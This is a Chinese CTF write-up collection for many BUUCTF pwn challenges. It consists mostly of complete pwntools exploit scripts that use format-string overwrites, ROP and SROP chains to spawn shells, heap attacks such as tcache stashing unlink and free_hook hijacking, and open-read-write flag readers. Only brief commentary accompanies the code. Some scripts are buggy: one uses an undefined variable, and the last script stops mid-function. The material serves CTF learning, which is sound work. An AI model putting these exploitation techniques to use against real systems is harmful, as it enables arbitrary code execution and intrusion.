from pwn import *
from struct import pack
p=process("./pwn")
#p=remote("node5.buuoj.cn",29181)
context(os = 'linux', arch = 'amd64', log_level='debug')
libc=ELF("/home/giant/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")

def debug():
	gdb.attach(p)
	pause()
def add(size, name):
	p.sendlineafter(b'Your choice-> \n', '1')
	p.sendlineafter(b'Input string Length: \n', str(size))
	p.sendafter(b'Author name:\n', name)

def show():
	p.sendlineafter(b'Your choice-> \n', '666')


def edit(name,content):
	p.sendlineafter(b'Your choice-> \n', '2')
	p.sendafter(b'New Author name:\n', name)
	p.sendafter(b'New contents:\n', content)
	
def exit():
	p.sendlineafter(b'Your choice-> \n', '4')	
	

show()

libc_base=int(p.recv(14),16)-libc.sym["puts"]

one_gadget = libc_base + 0xf1147
exit_hook = libc_base + 0x5f0040 + 3848
print(hex(exit_hook))
print(hex(libc_base))
add(0x68,b'a'*1)
#pause()
gdb.attach(p)
edit(p64(exit_hook)*2,p64(ogg)*2)
exit()
pause()
p.interactive()
	

hitcontraining_playfmt

思路:

这种格式化字符串做到吐了,没什么好说的,原理就那样。got表不可改就写rop链,可改就改got表为system。直接放exp把

Exp:

from pwn import *

sh =remote("node5.buuoj.cn",25983)
int16 = lambda x : int(x, base=16)
LOG_ADDR = lambda x, y: log.info("Addr: {} ===> {}".format(x, y))


gadgets = [0x3a80c, 0x3a80e, 0x3a812, 0x3a919, 0x5f065, 0x5f066]
libc = ELF("/home/giant/Desktop/buuctf5/libc-2.23_16-32.so")
context.arch="i386"

sh.recvlines(3)
sh.sendline("%6$p,%19$p")
msg = sh.recvline()

stack_addr, libc_addr = msg[:-1].split(b",")
stack_addr = int16(stack_addr.decode())
libc_addr = int16(libc_addr.decode())

LOG_ADDR("stack_addr", stack_addr)
LOG_ADDR("libc_addr", libc_addr)

libc.address = libc_addr - 247 - libc.sym['__libc_start_main']
LOG_ADDR("libc_base_addr", libc.address)

one_gadget = libc.offset_to_vaddr(gadgets[0])

# get ebp low addr
low_1_b = stack_addr & 0xff

# change ebp-->addr to retaddr
payload = "%{}c%6$hhn".format(low_1_b + 4).ljust(0x18, "a")
sh.sendline(payload)
sh.recv()
sleep(3)

# change retaddr to one_gadget
payload = "%{}c%10$hn".format(one_gadget & 0xffff).ljust(0x18, "a")
sh.sendline(payload)
sh.recv()
sleep(3)

# change ebp-->addr to retaddr (high addr)
payload = "%{}c%6$hhn".format(low_1_b + 4 + 2).ljust(0x10, "a")
sh.sendline(payload)
sh.recv()
sleep(3)

# change retaddr to one_gadget(high addr)
payload = "%{}c%10$hn".format((one_gadget >> 16) & 0xffff).ljust(0x18, "a")
sh.sendline(payload)
sh.recv()
sleep(3)

# recover ebp-->addr
payload = "%{}c%6$hhn".format(low_1_b + 0x10).ljust(0x18, "a")
sh.sendline(payload)
sh.recv()
sleep(3)

sh.sendline("quit")

sh.interactive()

qctf_2018_stack2

思路:

又是之前写过的题(),直接放exp,不解释

Exp:

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote("node5.buuoj.cn",27777)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

def debug():
	gdb.attach(p)
	pause()

p.sendline(b'1')
p.sendline(b'1')

addr = [0x9B,0x85,0x04,0x8]
for i in range(4):
	p.sendline(b'3')
	p.sendline(str(0x84+i))
	p.sendline(str(addr[i]))

p.sendline(b'5')

p.interactive()

npuctf_2020_level2

思路:

又来?

Exp:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
 
def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
 
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
#
p=remote("node5.buuoj.cn",29546)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf5/libc_18_64.so')
p.send(b'%7$p.%9$p.')

libc_base=int(p.recvuntil(b'.')[-13:-1],16)-libc.sym['__libc_start_main']-231
stack=int(p.recvuntil(b'.')[-13:-1],16)-0x30-0xb8


rdi=libc_base+0x000000000002a3e5
ret=libc_base+0x0000000000029139
 
ret_addr=stack+0x8
 
 
lg('stack',stack)
 
lg('libc_base', libc_base)
c = int16(hex(stack)[-4:])
b = int16(hex(ret_addr)[-4:])

 
 
sleep(1)
 


p.send(b'%' + str(b).encode() + b'c%9$hn')
#pause()
 
one_gadget=libc_base+0x4f322
system,binsh=get_sb()
 
sleep(1)
 
lg('one_gadget',one_gadget)
 
a = int16(hex(ret_addr)[-2:])
b = int16(hex(ret_addr)[-4:])
d = int16(hex(one_gadget)[-12:-10])
#ret

#debug('b *$rebase(0x81f)')
for i in range(6):
	payload = b'%' + str((a+i)).encode() + b'c%9$hhn'
	
	s(payload.ljust(0x64,b'\x00'))
	
	
	payload = b'%' + str((one_gadget>> 8*(i)) & 0xff).encode() + b'c%35$hhn'
	
	s(payload.ljust(0x64,b'\x00'))
	

payload=b'66666666'
s(payload.ljust(0x64,b'\x00'))
p.interactive()
#debug()
'''	
 
#pop rdi ret
 
lg('rdi', rdi)
payload = b'%' + str((a+8+i)).encode() + b'c%8$hhn'
sa(b'stdin>>\n', payload)
 
for i in range(6):
 
 
	payload = b'%' + str((a+8+i)).encode() + b'c%8$hhn'
	sa(b'stdin>>\n', payload)
	payload = b'%' + str((rdi>> 8*(i)) & 0xff).encode() + b'c%12$hhn'
	sa(b'stdin>>\n', payload)
 
 
#binsh	
 
 
for i in range(6):
	payload = b'%' + str((a+16+i)).encode() + b'c%8$hhn'
	sa(b'stdin>>\n', payload)
	
	payload = b'%' + str((binsh>> 8*(i)) & 0xff).encode() + b'c%12$hhn'
	sa(b'stdin>>\n', payload)
 
for i in range(2):
	payload = b'%' + str((a+22+i)).encode() + b'c%8$hhn'
	sa(b'stdin>>\n', payload)
	s=0
	payload = b'%12$hhn'
	sa(b'stdin>>\n', payload)
 
 
 
 
payload = b'%8$n'
sa(b'stdin>>\n', payload)
 
for i in range(6):
	payload =b'%' + str((b+24+i)).encode() + b'c%43$hn'
	sa(b'stdin>>\n', payload)
	payload = b'%' + str((system>> 8*(i)) & 0xff).encode() + b'c%57$hhn'
	sa(b'stdin>>\n', payload)
'''
pause()
inter()	

jarvisoj_typo

思路:

异架构题目,第一次见,学习一下,这里要先安装qemu来模拟,关于qemu的安装可以看这篇文章

ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建_ubuntu powerpc编译环境-CSDN博客

这里需要用高一点版本的ida进行反汇编,不然生成不了伪代码。

不过这。。。有没有都无所谓吧。通过下面的指令来运行异架构下的指令

qemu-arm -L /usr/arm-linux-gnueabi ./typo

要调试的话需要先安装gdb-multiarch。这个可以去网上搜一下。然后可以需要再运行时加上这个才可以调试

qemu-arm -L /usr/arm-linux-gnueabi -g 10000 ./typo

然后就是在gdb里面执行这两条指令即可开始调试

接下来就是分析程序了,调试可知缓冲区长度为116,那么再看看有没有字符串。有/bin/sh

猜测应该是ret2text,看看谁调用了它,最终定位到这里

但是直接跳转到这里获取不了shell

所以应该要自己将binsh加载进来,下面是exp

Exp:

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')
p = process(['qemu-arm', './typo'])
#p=remote("node5.buuoj.cn",28916)
p.recv()
p.sendline('')
p.recv()
bin_sh=0x6C384
pop_r0_r4_pc=0x00020904
system=0x10BA8
payload = b'a'*112 + p32(pop_r0_r4_pc) + p32(bin_sh)*2 + p32(system)
p.sendline(payload)

p.interactive()

[2020 新春红包题]3

思路:

又是一个没学过的知识,最后也是看wp做出来的

可以看到是一道菜单堆题目,但是开了沙箱

堆题开沙箱的话会可能把bins弄的很乱。

输入666即可获得栈溢出

不过得先满足一些条件,无妨,我们再来看看delete功能

可以看到存在uaf漏洞,那么通过这个可以轻松泄露libc_base,随便可以把heap_base泄露出来

for i in range(10):
    add(i,2,b'a'*1)
for i in range(8):
    free(i)
show(7)
libc_base=u64(r.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym["__malloc_hook"]
print(hex(libc_base))

当然这题的libc版本是libc2.29所以我们曾经对tcache的double free攻击失效了,不仅不能直接

连续两次free(a)了哪怕free(a)->free(b)->free(a)也会被检查到,至于为什么可以看源码分析这里就不带着大家分析了。

这题的add函数是用calloc来实现动态内存分配的,calloc的特性是不会从tcache bin去取chunk的,而且add对应堆块大小是不能自定义的,所以打malloc_hook也没有机会,所以我们需要找到一种新的方法来劫持程序执行流

这里虽然有后门函数,但是它的条件比较苛刻,而且此时我们还不知道栈地址。先

通过调试可以知道这三个内存都位于堆段,第一个条件不好满足,不过第二个和第三个条件就已经满足了(因为图里的内存都位于比较特殊的堆段,在第一个0x1011的堆块里面所以申请不到那里去)。

所以这里需要用到Tcache Stashing Unlink Attack这个攻击有点类似于unsorted bin attack。那么有人可能要问了,为什么不用unsorted bin attack呢?当然是因为这个攻击在libc2.29的源码中添加了对此攻击的检查,而且很难绕过,因此基本上在libc2.29以后unsorted bin attack就基本消亡了,但是我们在高版本下有large bin attack攻击。

先来简单说一下Tcache Stashing Unlink Attack攻击吧

利用前提:

能篡改small bin上的bk指针

效果:

在任意地址上写一个 libc 地址

实操:

先准备6个tcache,再准备2个small bins把第二个small bins的BK指针改为target-0x10。再calloc分配堆块即可,这里如何分配出两个small bins可能有点难度,自己好好想想挺简单的。

然后就是calloc之后再攻击了,这样就可以进行再栈迁移写orw读取flag即可,开学了事情太多了根本不好学自己想学的内容

Exp:

from pwn import *
from struct import pack
import base64
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29976)
elf = ELF('./pwn')
libc = ELF('/home/giant/glibc-all-in-one/2.29-0ubuntu2_amd64/libc-2.29.so')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
	gdb.attach(p)
	pause()
def add(index, idx, content):
	p.sendlineafter(b'Your input: ', b'1')
	p.sendlineafter(b'idx: ', str(index))
	p.sendlineafter(b': ', str(idx))
	p.sendlineafter(b'content: ', content)
def free(index):
	p.sendlineafter(b'Your input: ', b'2')
	p.sendlineafter(b'idx: ', str(index))
def edit(index, content):
	p.sendlineafter(b'Your input: ', b'3')
	p.sendlineafter(b'idx: ', str(index))
	p.sendlineafter(b'content: ', content)
def show(index):
	p.sendlineafter(b'Your input: ', b'4')
	p.sendlineafter(b'idx: ', str(index))

#gdb.attach(p, 'b *$rebase(0x144F)')

# leak libc_base
for i in range(8):
	add(i, 4, b'a')
add(8, 1, b'a')
for i in range(8):
	free(i)
show(7)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10-libc.sym["__malloc_hook"]
show(1)
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x1270


# Tcache Stashing Unlink Attack
add(0, 4, b'a')
for i in range(6):
	add(i, 2, b'a')
add(6, 1, b'a') 
for i in range(6):
	free(i)

# first small bin
add(3, 3, b'a')
add(0, 4, b'chunk0')
add(1, 1, b'chunk1')
free(0)
add(2, 3, b'chunk2')
add(3, 3, b'chunk3')

# second small bin
add(4, 4, b'chunk4')
add(5, 4, b'chunk5')
free(4)
add(6, 3, b'chunk6')
add(7, 3, b'/flag\x00')

# start -> Tcache Stashing Unlink Attack
payload = b'\x00'*0x300 + p64(0) + p64(0x101) + p64(heap_addr + 0x3f40) + p64(heap_addr + 0x250 + 0x800)
edit(4, payload)
add(8, 2, b'a')

# orw_rop
rdi = libc_base + 0x26542
rsi = libc_base + 0x26f9e
rdx = libc_base + 0x12bda6
leave = libc_base + 0x58373
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']

payload = p64(0)
payload += p64(rdi) + p64(heap_addr + 0x4ba0) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(open_)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(heap_addr + 0x270) + p64(rdx) + p64(0x50) + p64(read)
payload += p64(rdi) + p64(1) + p64(rsi) + p64(heap_addr + 0x270) + p64(rdx) + p64(0x50) + p64(write)
add(9, 4, payload)
print(' libc_base -> ', hex(libc_base))
print(' heap_addr -> ', hex(heap_addr))
# stack_jump
gdb.attach(p)
p.sendlineafter(b'Your input: ', b'666')

payload = b'a'*0x80 + p64(heap_addr + 0x4eb0) + p64(leave)

p.sendlineafter(b'What do you want to say?', payload)
print(p.recv())

注意你如果是Ubuntu22的话本地可能会打不通,因为22的乌班图的vmmap最高位会随机化,不一定为0x7f可能为0x72或者其他的等等。但是不用担心,远程是可以通的。

ciscn_2019_s_1

思路:

菜单堆题

malloc会给出堆地址

edit存在offbynull

但是只可以用两次,艹突然发现这个和下面的ciscn_2019_es_4题目一样那直接贴exp吧,思路去下面看吧

Exp:

from pwn import *
from struct import pack
import base64
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote("node5.buuoj.cn",27319)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = ELF('/home/giant/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
#libc = ELF('/home/giant/Desktop/buuctf5/libc_2.27_18_64.so')
def debug():
	gdb.attach(p)
	pause()
def add(index, size, content):
	p.sendlineafter(b'4.show\n', '1')
	p.sendlineafter(b'index:\n', str(index))
	p.sendlineafter(b'size:\n', str(size))
	p.recvuntil(b'gift: ')
	heap_base=int(p.recv(7),16)
	p.sendafter(b'content:\n', content)
	return heap_base
def free(index):
	p.sendlineafter(b'4.show\n', '2')
	p.sendlineafter(b'index:\n', str(index))
def edit(index, content):
	p.sendlineafter(b'4.show\n', '3')
	p.sendlineafter(b'index:\n', str(index))
	p.sendafter(b'content:\n', content)
def show(index):
	p.sendlineafter(b'4.show\n', '4')
	p.sendlineafter(b'index:\n', str(index))
	
ptr=0x602118	
for i in range(9):
    add(i,0xf8,b'aa'+b'\n')
heap_base=add(9,0xf8,b'/bin/sh\x00\n')
for i in range(7):
   free(i)
edit(7,p64(0)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+b'a'*0xd0+p64(0xf0))
free(8)

for i in range(7):
    add(i,0xf8,b'aa'+b'\n')
free(9)
edit(7,p64(0)*3+p64(0x602100)+p64(0)+p64(heap_base))
free(9)
add(10,0xf8,p64(0x6022B0))
add(11,0xf8,b'a'*1)
add(12,0xf8,b'a'*0x30)
add(13,0xf8,b'a'*0x1)
show(13)

libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x61-448-0x10-libc.sym["__malloc_hook"]
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
print(hex(heap_base))
print(hex(libc_base))
edit(7,p64(0)*3+p64(free_hook))
edit(7,p64(system))
add(14,0xf8,b'/bin/sh\x00')
free(14)
p.interactive()
#add(10,0x88,b'a'*1)

jarvisoj_level6_x64

思路:

菜单堆题

一道堆题目,没开pie

free功能存在uaf漏洞

不过edit有点不同,用的是realloc,不过就这

Exp:

from pwn import *
p=process("./pwn")
#p=remote("node5.buuoj.cn",29206)
elf=ELF("./pwn")
libc=ELF("/home/giant/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def debug():
	gdb.attach(p)
	pause()
def show():
	p.sendlineafter(b'Your choice: ',b'1')
	
def add(size, content):
	p.sendlineafter(b'choice: ', b'2')
	p.sendlineafter(b'note: ', str(size))
	p.sendlineafter(b'note: ', content)
def edit(index,content):
	p.sendlineafter(b'choice: ', b'3')
	p.sendlineafter(b'number: ', str(index))
	p.sendlineafter(b'note: ', str(len(content)))
	p.sendlineafter(b'note: ', content)
def free(idx):
	p.sendlineafter(b'Your choice: ',b'4')
	p.sendlineafter(b'Note number: ',str(idx))
	
add(0x80, b'a'*0x80) #index 0
add(0x80, b'b'*0x80) #index 1
add(0x80, b'c'*0x80) #index 2
add(0x10, b'd'*0x10) #index 3

free(0)
free(2)
add(8, b'a'*8) #index 0
show()
p.recvuntil('a' * 8)
heap_addr = u64(p.recv(4).strip().ljust(8, b'\x00')) - 0x1940 + 0x30
print(' heap_addr -> ', hex(heap_addr))
free(0)
free(1)
free(3)

add(0x20, p64(0) + p64(0x110) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10)) # index 0
payload = b'a'*0x80 + p64(0x110) + p64(0x90) + b'A'*0x80 + p64(0) + p64(0x91) + b'a'*0x80
add(len(payload), payload)
free(2)
payload = p64(1)*2 + p64(0x8) + p64(elf.got['atoi'])
edit(0,payload)
show()
libc_base = u64(p.recv(6)[-6:].ljust(8, b'\x00')) - libc.sym['atoi']
print(' libc_base -> ', hex(libc_base))

# atoi -> system
system = libc_base + libc.sym['system']
edit(0, p64(system))

# pwn
p.sendlineafter(b'choice: ', b'/bin/sh\x00')
p.interactive()



360chunqiu2017_smallest

思路:

确实是很小的一段程序,不过在汇编里面可以看到这是通过syscall来调用read的所以还有希望劫持程序控制流。不过我也是吐了,打了一晚上本地通了远程死活不通。真不知道抽的什么风,而且这题竟然连patch都patch不了,算了爱谁谁吧,我宁愿写LLVM和libc2.39的堆也不想写这种sb题目。先分析题目把

连汇编都是如此简短。这里read读入即可写返回地址。那么这里我们先读入3个vuln函数也就是0x4000B0,布置栈帧,为后面的攻击做准备,然后在下一次read的时候改一个B0为B3,从而绕过xor rax rax,执行write系统调用,泄露栈地址

syscall = 0x4000BE
vuln = 0x4000B0
# leak start_addr
payload = p64(vuln)*3
p.send(payload)

payload = b'\xb3'
p.send(payload)

stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

再通过SROp调用read把b"/bin/sh"读入,同时也布置好下一次执行srop->execve需要的字节流,最好不要在第一次的时候读入,不然可能会有问题,这种远程通不了的话我的建议是搭建一台一模一样的乌班图去打。

rd = SigreturnFrame()
rd.rax = 0
rd.rdi = 0
rd.rsi = stack
rd.rdx = 0x400
rd.rsp = stack
rd.rip = syscall

payload = p64(vuln) + b'a'*8 + bytes(rd)
p.send(payload)

sleep(1)

payload = p64(syscall) + b'a'*7
p.send(payload)

# read binsh -> execev
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = stack + 0x190  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack
sigframe.rip = syscall

payload = p64(vuln) + b'a'*8 + bytes(sigframe)
payload = payload.ljust(0x190, b'\x00') + b'/bin/sh\x00'
p.send(payload)

最后就是执行srop调用execve了

payload = p64(syscall) + b'a'*7
p.send(payload)


p.interactive()

上面的exp是别的师傅的,下面的才是我的,不过思路都是一样的,我也不清楚我的exp为什么通不了,但是上面的可以通

Exp:

from pwn import *
p=process("./pwn")
#p=remote("node5.buuoj.cn",27641)                                                
elf=ELF("./pwn")
context.arch="amd64"
syscall_ret=0x4000BE


#leak stack_addr
payload=p64(0x4000BE)+p64(0x4000B0)+p64(0x4000BE)+p64(0x4000B0)*5+b'/bin/sh\x00'*1+b'fuck'*2
p.send(payload)
pause()
p.send(p8(0xb3))
p.recvuntil(b'fuckfuck')
stack_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))
p.recv()

#srop->read
sigframe1=SigreturnFrame()
sigframe1.rax = 0
sigframe1.rsi=stack_addr
sigframe1.rip=syscall_ret
sigframe1.rsp=stack_addr
sigframe1.rdx=0x400

payload=p64(0x4000BE)+p64(0x4000B0)+p64(0x4000BE)+flat(sigframe1)
p.send(payload)
pause()
#gdb.attach(p)
p.send(p64(syscall_ret)+b'a'*7)

#srop->getshell
sigframe1=SigreturnFrame()
sigframe1.rax = 0x3b
sigframe1.rdi=stack_addr+0x190
sigframe1.rip=syscall_ret
sigframe1.rsi=0
sigframe1.rdx=0


payload = p64(0x4000B0) + b'a'*8 + bytes(sigframe1)
payload = payload.ljust(0x190, b'\x00') + b'/bin/sh\x00'
p.send(payload)


sleep(1)
p.send(p64(syscall_ret)+b'a'*7)

p.interactive()

picoctf_2018_echo back

思路:

一次格式化字符串,直接打fini_array和printf_got,不过貌似fini_array打不了,那么就直接改puts为vuln吧,(格式化字符串已写吐)

Exp:

from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27348)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()

system = 0x8048460
vuln = 0x80485dc
printf_got = 0x0804A010
puts_got = 0x0804A01C

#gdb.attach(p, 'b *0x8048609')
# printf_got -> system puts_got -> vuln
# 4 8 60 84 85 dc
payload = b'%4c%23$hhn%4c%24$hn%88c%25$hhn%36c%26$hhn%1c%27$hhn%87c%28$hhnaa' + p32(printf_got + 2) + p32(printf_got + 3) + p32(printf_got) + p32(printf_got + 1) + p32(puts_got + 1) + p32(puts_got) + p32(printf_got + 2)
p.sendafter(b'message:\n', payload)
p.send(b'/bin/sh\x00')

p.interactive()

inndy_echo2

思路:

有是这种格式化字符串,没有技巧,全是手搓

Exp:

from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

#p = process('./pwn')
p = remote("node5.buuoj.cn",27219)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('/home/giant/Desktop/buuctf5/libc-2.23_16_64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
	gdb.attach(p)
	pause()

#gdb.attach(p, 'b *$rebase(0x984)')

# leak pro_base
p.sendline(b'%41$p')
p.recvuntil(b'0x')
pro_base = int(p.recv(12), 16) - 74 - 0x9B9
print(' pro_base -> ', hex(pro_base))

# leak libe_base
p.sendline(b'%43$p')
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 240 - libc.sym['__libc_start_main']
print(' libc_base -> ', hex(libc_base))

# 
exit = pro_base + elf.got['exit']
one_gadget = libc_base + 0x45216
print(hex(one_gadget))
for i in range(0, 48, 16):
	payload = b'%' + str((one_gadget >> i) & 0xFFFF).encode() + b'c%8$hn'
	payload = payload.ljust(16, b'a') + p64(exit + i//8)
	p.sendline(payload)
	p.recv()
	sleep(1)

p.sendline(b'exit')
p.interactive()
#pause()

warmup

思路:

又是一道全是系统调用的题,这题就不能像smallest那样用SROP了,你问我为什么?

溢出点在这里,你怎么也得输入0x24个字节才能控制程序执行流,而且之后ret 返回的还全是垃圾数据,你也不能布置栈帧。更操蛋的是这里不能泄露libc_base,全是系统调用,最后实在没办法看了wp,学长说这里是利用alarm的特性。

当之前调用了 alarm(0xa) 时,如果距离 n 秒再次调用 alarm 函数,那么就会返回 a-n ,我们也就能控制 eax 的值了,这里控制 eax 为 5,再接着系统调用,即可调用open,之后再通过read,write构造orw即可

然后剩下的就是大量调试布置栈帧写orw了,没什么好说的,调试即可,只是调试的时候在open需要注意一下

Exp:

from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

p = process('./pwn')
#p = remote("node5.buuoj.cn",27768)
elf = ELF('./pwn')

def debug():
	gdb.attach(p)
	pause()
read_addr = 0x804811D
vuln_addr = 0x804815A
write_addr = 0x8048135
flag_addr = 0x8049200
alarm_addr = 0x804810D
syscall = 0x804813a

payload = b'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(0) + p32(flag_addr) + p32(0x10)
p.sendafter(b'2016!\n', payload)
p.send(b'/flag\x00'.ljust(0x10, b'\x00'))
sleep(5)

payload = b'a'*0x20 + p32(alarm_addr) + p32(syscall) + p32(vuln_addr) + p32(flag_addr) + p32(0)
p.send(payload)
#gdb.attach(p)
#read

payload = b'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(3) + p32(flag_addr) + p32(0x30)
p.send(payload)

 # write

payload = b'a'*0x20 + p32(write_addr) + p32(0) + p32(1) + p32(flag_addr) + p32(0x30)
p.send(payload)
pause()

print(p.recv())

hfctf_2020_marksman

思路:

程序逻辑不难

首先直接送我们libc_base,v6可以输入0x10个字节,然后后面就是对我们输入v6的地址的低三位字节进行修改。那么由于exit_hook和one_gadget的前面几位字节的相等,显然修改exit_hook为one_gadget是比较合理的。但是这个sub_BC2函数会限制我们输入one_gadget

可以看到one_gadget都被限制了,那么怎么办呢?这里看学长的wp是直接在one_gadget上面寻找一个可执行且影响不大的gadget然后再执行即可,但是这种方法可能需要多打几次。

所以我又找到了一篇比较好的博客,这个可以不用看运气,基本上都能通

hfctf_2020_marksman - LynneHuan - 博客园 (cnblogs.com)

Exp:

from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

#p = process('./pwn1')
p = remote('node5.buuoj.cn', 26050)
elf = ELF('./pwn1')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
libc = ELF('/home/giant/Desktop/buuctf5/libc_2.27_18_64.so')

def debug():
	gdb.attach(p)
	pause()
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.sym['puts']
print(' libc_base -> ', hex(libc_base))

one_gadget = libc_base + 0x4f322 - 5
exit_hook = libc_base + 0x81df60
print(hex(exit_hook))
p.sendlineafter(b'shoot!shoot!\n', str(exit_hook))
#debug()
for i in range(0, 24, 8):
	p.sendlineafter(b'biang!\n', chr((one_gadget >> i) & 0xFF))
p.interactive()

pwnable_simple_login

思路:

比较简单的一道题目,(真)签到题

correct为后门函数,这里Base64Decode猜也可以猜到是对我们输入的数据进行Base64解密,那么我们就需要对输入数据进行Base64加密,然后这里我们需要让auth函数返回1,才可执行correct。

如果你是这样想的那就掉陷阱里面了,我们怎么可能同时满足这个MD5和这个base64加密,这明显是不可能的,这里我们可以对v6输入0xc大小的字节,而

这里会把我们输入的0xc大小的内容复制给v4,然后即可控制ebp进行栈迁移,从而劫持程序执行流,到system("/bin/sh")进而getshell,什么你说不知道栈地址,建议仔细看看input

Exp:

from pwn import *
import base64
#p=remote("node5.buuoj.cn",26569)
p=process("./login")
#gdb.attach(p,'b *0x8049424')
payload=p32(0x08049284)*2+p32(0x811eb40)
payload = base64.b64encode(payload)
p.sendline(payload)
p.interactive()

bctf2016_bcloud

思路:

house of force之前有讲过类似的题目,貌似前面有,直接放exp了。不过现版本基本不会有house of force这么离谱的漏洞了,在libc2.29后就彻底消亡了。

Exp:

from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",29907)
elf=ELF("./pwn")
libc=ELF("/home/giant/Desktop/buuctf5/libc-2.23_16-32.so")
def debug():
	gdb.attach(p)
	pause()
def init(name,org,Host):
	p.sendafter(b"Input your name:\n",name)
	p.sendafter(b"Org:\n",org)
	p.sendafter(b"Host:\n",Host)
def add(size,content):
	p.sendlineafter(b'option--->>',b'1')
	p.sendlineafter(b'Input the length of the note content:\n',str(size))
	p.sendlineafter(b'Input the content:\n',content)
	
def edit(idx,content):
	p.sendlineafter(b'option--->>',b'3')
	p.sendlineafter(b'Input the id:\n',str(idx))
